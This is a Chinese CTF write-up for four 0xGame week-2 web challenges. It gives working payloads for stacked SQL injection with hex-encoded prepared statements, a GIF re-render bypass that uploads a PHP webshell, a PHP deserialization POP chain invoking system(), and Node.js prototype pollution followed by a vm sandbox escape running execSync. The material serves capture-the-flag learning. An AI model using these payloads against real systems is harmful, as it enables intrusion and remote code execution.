0xGame week2-WEB wp
ez_sqli
看看hint:
那应该就是用堆叠注入,估计其他的关键字会给ban了。
还是借用官方wp的解释:
prepare stmt from 'SELECT * FROM users WHERE id=?'; set @id=1; execute stmt using @id;
只有order by这里可以写,随便点一个找到回显点:
# step 1 select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),1); # step 2 select updatexml(1,concat(0x7e,(select substr((select flag from flag),31,99)),0x7e),1);
试了试,select,空格啥的也确实被ban了。
payload如下:
# step 1 id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65 637420737562737472282873656c65637420666c61672066726f6d20666c6167292c312c333129292c30783 765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt; # step 2 id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65 637420737562737472282873656c65637420666c61672066726f6d20666c6167292c33312c393929292c307 83765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt;
第一步debug里出了一半:
第二步出另一半:
ez_upload
先看hint,发现是个二次渲染,然后找了一些文章,发现gif的二次渲染思路最简单,意思就是先传一个原始gif图片,然后把网站上二次渲染后的图片下载下来与原图片在010editor里面进行比对,在未进行渲染处理的相同部分后面加上php一句话木马(原图片后面加),然后再传上去,改包后缀名为php直接连蚁剑或着hackbar。
直接访问这个图片地址然后下载下来,命名为2.gif:
在原图灰色部分(相同未渲染部分)直接修改,注意是修改不是增加。
再传修改后的原图,改包:
ez_unserialize
又是老生常谈的反序列化,这个反序列化就是一个简单的pop链构造。
<?php show_source(__FILE__); class Cache { public $key; public $value; public $expired; public $helper; public function __construct($key, $value, $helper) { $this->key = $key; $this->value = $value; $this->helper = $helper; $this->expired = False; } public function __wakeup() { $this->expired = False; } public function expired() { if ($this->expired) { $this->helper->clean($this->key); return True; } else { return False; } } } class Storage { public $store; public function __construct() { $this->store = array(); } public function __set($name, $value) { if (!$this->store) { $this->store = array(); } if (!$value->expired()) { $this->store[$name] = $value; } } public function __get($name) { return $this->data[$name]; } } class Helper { public $funcs; public function __construct($funcs) { $this->funcs = $funcs; } public function __call($name, $args) { $this->funcs[$name](...$args); } } class DataObject { public $storage; public $data; public function __destruct() { foreach ($this->data as $key => $value) { $this->storage->$key = $value; } } } if (isset($_GET['u'])) { unserialize($_GET['u']); } ?>
其实hint一出已经很清晰了,甚至链子都告诉你了。
但是有一个地方数组的赋值有点恶心,需要深刻理解函数才能知道pop链的正确环节。
<?php class Cache { public $key; public $value; public $expired; public $helper; } class Storage { public $store; } class Helper { public $funcs; } class DataObject { public $storage; public $data; } $d = new DataObject(); $s = new Storage(); $c1 = new Cache(); $c2 = new Cache(); $h = new Helper(); $d->storage = $s; $h->funcs = array('clean' => 'system'); $c1->expired = False; $c2->helper = $h; $c2->key = 'ls'; $s->store = &$c2->expired; $d->data = array('key1' => $c1, 'key2' => $c2); //放入Cache1和Cache2,两个实例 $d->storage = $s; echo urlencode(serialize($d)); //unserialize($_GET['u']); ?>
这里我借用官方wp的解释:
绕过__wakeup新姿势:
结果我ls / 没有在根目录找到flag,网页目录上下级也没找到,问了出题人告诉我在环境变量....
用printenv和env都可以。
ez_sandbox
刚好前段时间打我们学校招新赛遇到了python的原型链污染,这次又遇到了js的。
首先打开页面,是一个登录页面:
贴一个源码:
const crypto = require('crypto') const vm = require('vm'); const express = require('express') const session = require('express-session') const bodyParser = require('body-parser') var app = express() app.use(bodyParser.json()) app.use(session({ secret: crypto.randomBytes(64).toString('hex'), resave: false, saveUninitialized: true })) var users = {} var admins = {} function merge(target, source) { for (let key in source) { if (key === '__proto__') { continue } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } return target } function clone(source) { return merge({}, source) } function waf(code) { let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork'] for (let v of blacklist) { if (code.includes(v)) { throw new Error(v + ' is banned') } } } function requireLogin(req, res, next) { if (!req.session.user) { res.redirect('/login') } else { next() } } app.use(function(req, res, next) { for (let key in Object.prototype) { delete Object.prototype[key] } next() }) app.get('/', requireLogin, function(req, res) { res.sendFile(__dirname + '/public/index.html') }) app.get('/login', function(req, res) { res.sendFile(__dirname + '/public/login.html') }) app.get('/register', function(req, res) { res.sendFile(__dirname + '/public/register.html') }) app.post('/login', function(req, res) { let { username, password } = clone(req.body) if (username in users && password === users[username]) { req.session.user = username if (username in admins) { req.session.role = 'admin' } else { req.session.role = 'guest' } res.send({ 'message': 'login success' }) } else { res.send({ 'message': 'login failed' }) } }) app.post('/register', function(req, res) { let { username, password } = clone(req.body) if (username in users) { res.send({ 'message': 'register failed' }) } else { users[username] = password res.send({ 'message': 'register success' }) } }) app.get('/profile', requireLogin, function(req, res) { res.send({ 'user': req.session.user, 'role': req.session.role }) }) app.post('/sandbox', requireLogin, function(req, res) { if (req.session.role === 'admin') { let code = req.body.code let sandbox = Object.create(null) let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message }) } } else { res.send({ 'result': 'Your role is not admin, so you can not run any code' }) } }) app.get('/logout', requireLogin, function(req, res) { req.session.destroy() res.redirect('/login') }) app.listen(3000, function() { console.log('server start listening on :3000') })
先审计一下代码,显然有login和register路由,
又发现这里有个clone(req.body),这里应该是登录成admin需要利用的。
这里也说明必须是admin才能进行下一步。
接下来,看到这个merge就知道肯定是原型链污染了:
关键方法__proto__给ban了,但是还可以用constructor.prototype就能绕过。
黑名单ban掉了很多东西,但是可以用字符串拼接的方式,直接用+就能绕过。
梳理一下思路,首先肯定是随便注册一个号,然后想办法让login这部分下的username in admins的值为真,然后就会给你一个admin的session,目的就达到了。
这个办法就是,使用prototype给post进去一个跟我们注册时名字相同的对象到admins里面去,污染成功后判断条件就正确了。
譬如我先注册我EddieMurphy的号,在登录时 POST 如下内容:
{ "username": "EddieMurphy", "password": "EddieMurphy", "constructor": { "prototype": { "EddieMurphy": "114514" } } }
改成:
成功:
进去后就是个沙箱逃逸了。
上面也分析过,就算这些函数都给ban了,也可以用+拼接起来。网上payload还是挺多的。
具体Nodejs沙箱逃逸可以看看官方wp推的文章:
NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)
官方方法:
// method 1 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截 get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数 const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); } }) // method 2 let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数 obj.__defineGetter__('message', function(){ const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); }) throw obj
另一个payload同理。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理